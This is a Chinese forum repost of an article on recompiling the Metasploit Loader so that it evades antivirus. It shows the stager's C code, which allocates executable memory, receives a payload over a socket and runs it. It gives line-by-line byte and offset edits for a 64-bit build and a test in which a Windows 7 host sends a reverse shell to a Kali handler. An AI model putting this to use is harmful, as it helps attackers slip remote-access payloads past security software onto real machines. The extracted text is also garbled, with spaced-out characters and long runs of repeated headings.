搜索

[6954] 2020-09-30_通过MetasploitLoader绕过杀软

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2020-09-30_通过MetasploitLoader绕过杀软 通 过 M e t a s p l o i t   L o a d e r 绕 过 杀 软 E 安 全   2 0 2 0 - 0 9 - 3 0 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 Y u h a o 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 平 时 的 H V V 网 中 ， 我 们 使 用 n c 或 者 n c a t 在 反 弹 s h e l l 或 者 使 用 c s 的 时 候 一 般 不 能 绕 过 杀 软 或 者 专 门 的 H V V 网 进 程 ， 这 里 我 们 从 新 编 译 M e t a s p l o i t   L o a d e r 来 绕 过 一 定 量 的 杀 毒 软 件 N o . 1 N o . 1 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 分 析 我 们 打 开 m a i n . c 的 代 码 进 行 分 析 1 . 首 先 接 收 字 节 缓 冲 区 大 小 2 . 开 辟 内 存 3 . s o c k e t 里 的 值 复 制 到 缓 冲 区 中 去 4 . 读 取 字 节 到 缓 冲 区 5 . 执 行 D L L M a i n 6 . 退 出 然 后 我 们 在 下 面 编 译 的 时 候 为 了 免 杀 ， 对 接 受 对 字 节 和 复 制 对 s o c k e r 的 值 进 行 了 修 改 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。   S O C K E T   m y _ s o c k e t   =   w s c o n n e c t ( a r g v [ 1 ] ,   a t o i ( a r g v [ 2 ] ) ) ;     / * 首 先 ， 代 码 先 用 S O C K E T 建 立 一 个 握 手 包 * /     i n t   c o u n t   =   r e c v ( m y _ s o c k e t ,   ( c h a r   * ) & s i z e ,   4 ,   0 ) ;     i f   ( c o u n t   ! =   4   | |   s i z e   < =   0 )     p u n t ( m y _ s o c k e t ,   " r e a d   a   s t r a n g e   o r   i n c o m p l e t e   l e n g t h   v a l u e n " ) ;         / * 然 后 将 前 4 个 字 节 分 配 R W X 缓 冲 区 . * /     b u f f e r   =   V i r t u a l A l l o c ( 0 ,   s i z e   +   1 0 ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;     i f   ( b u f f e r   = =   N U L L )             p u n t ( m y _ s o c k e t ,   " c o u l d   n o t   a l l o c a t e   b u f f e r n " ) ;         / * 原 代 码 中 ， 这 里 是 偏 移 5 位 ， 这 里 我 们 修 改 偏 移 1 0 位 ， * /                 b u f f e r [ 0 ]   =   0 x 4 8 ;     b u f f e r [ 1 ]   =   0 x B F ;           m e m c p y ( b u f f e r   +   2 ,   & m y _ s o c k e t ,   8 ) ;           / * 然 后 将 s o c k e t 的 值 复 制 到 缓 冲 区 * /               c o u n t   =   r e c v _ a l l ( m y _ s o c k e t ,   b u f f e r   +   1 0 ,   s i z e ) ;         / * 最 后 将 字 节 读 入 缓 冲 区 * /
N o . 2 N o . 2 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 编 译 我 们 通 过 查 看 M e t a s p l o i t - L o a d e r 自 带 的 m a i n . c 代 码 ， 链 接 如 下 U s e   L i n k :   M e t a s p l o i t - L o a d e r h t t p s : / / g i t h u b . c o m / r s m u d g e / m e t a s p l o i t - l o a d e r / U s e   m a i n . c :   h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / r s m u d g e / m e t a s p l o i t - l o a d e r / m a s t e r / s r c / m a i n . c 然 后 复 制 出 其 中 对 m a i n . c 到 本 地 编 译 器 上 , 然 后 修 改 其 中 到 一 些 b u g . 1 .   首 先 我 们 需 要 调 整 其 头 文 件 ， 将 #   i n c l u d e   < w i n s o c k 2 . h > 调 整 到 #   i n c l u d e   < w i n d o w s . h > 前 一 行 ， 这 个 是 代 码 本 身 的 b u g 2 .   1 0 7 行 ， 其 中 的 s i z e   + 5   替 换 为   s i z e   +   1 0 3 .   1 1 4 行 ， 其 中 的   b u f f e r [ 0 ]   =   0 x B F ;   修 改 为   b u f f e r [ 0 ]   =   0 x 4 8 4 .   1 1 5 行 ， 添 加   b u f f e r [ 1 ]   =   0 x B F ; 5 .   1 1 8 行 ， 将   m e m c p y ( b u f f e r   +   1 ,   & m y _ s o c k e t ,   4 ) ;   修 改 为   m e m c p y ( b u f f e r   +   2 ,   & m y _ s o c k e t ,   8 ) ; 6 .   1 2 1 行 ，   将 c o u n t   =   r e c v _ a l l ( m y _ s o c k e t ,   b u f f e r   +   5 ,   s i z e ) ;   修 改 为   c o u n t   =   r e c v _ a l l ( m y _ s o c k e t ,   b u f f e r   +   1 0 ,   s i z e ) ;
然 后 使 用 g c c 或 者 其 他 I D E 进 行 编 译 在 边 缘 的 时 候 需 要 使 用 到 参 数 - l w s 2 _ 3 2 N o . 3 N o . 3 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 测 试 在 k a l i 中 ， 使 用 m u l t i   h a n d l e r , 然 后 使 用 我 们 的 L o d e r 6 4 . e x e , 然 后 W i n d o w s 7 反 弹 一 个 s h e l l 连 接 到 R e v e r s e   S h e l l 最 后 我 们 可 以 将 我 们 的 e x e 上 传 到 v t 上 测 试 一 下 是 否 会 爆 毒
注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 1 9 年 来 首 次 ！ W i n d o w s   X P 源 代 码 在 网 上 泄 露 黑 客 从 K u C o i n 交 易 所 窃 取 了 超 过 1 . 5 亿 美 元 的 加 密 货 币 （ 附 视 频 ） 微 软 B i n g 应 用 数 据 库 遭 泄 露     多 达 1 亿 条 搜 索 记 录 被 截 取 干 货 满 满 ！ 2 0 2 0   O P P O 开 发 者 大 会 ： 融 合 共 创 ， 打 造 多 终 端 、 跨 场 景 的 智 能 化 生 活 S p r i n g b o o t   内 存 s h e l l ▼ 稿 件 合 作   陈 女 士   1 5 5 5 8 1 9 2 9 5 9 喜 欢 记 得 打 赏 小 E 哦 ！

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理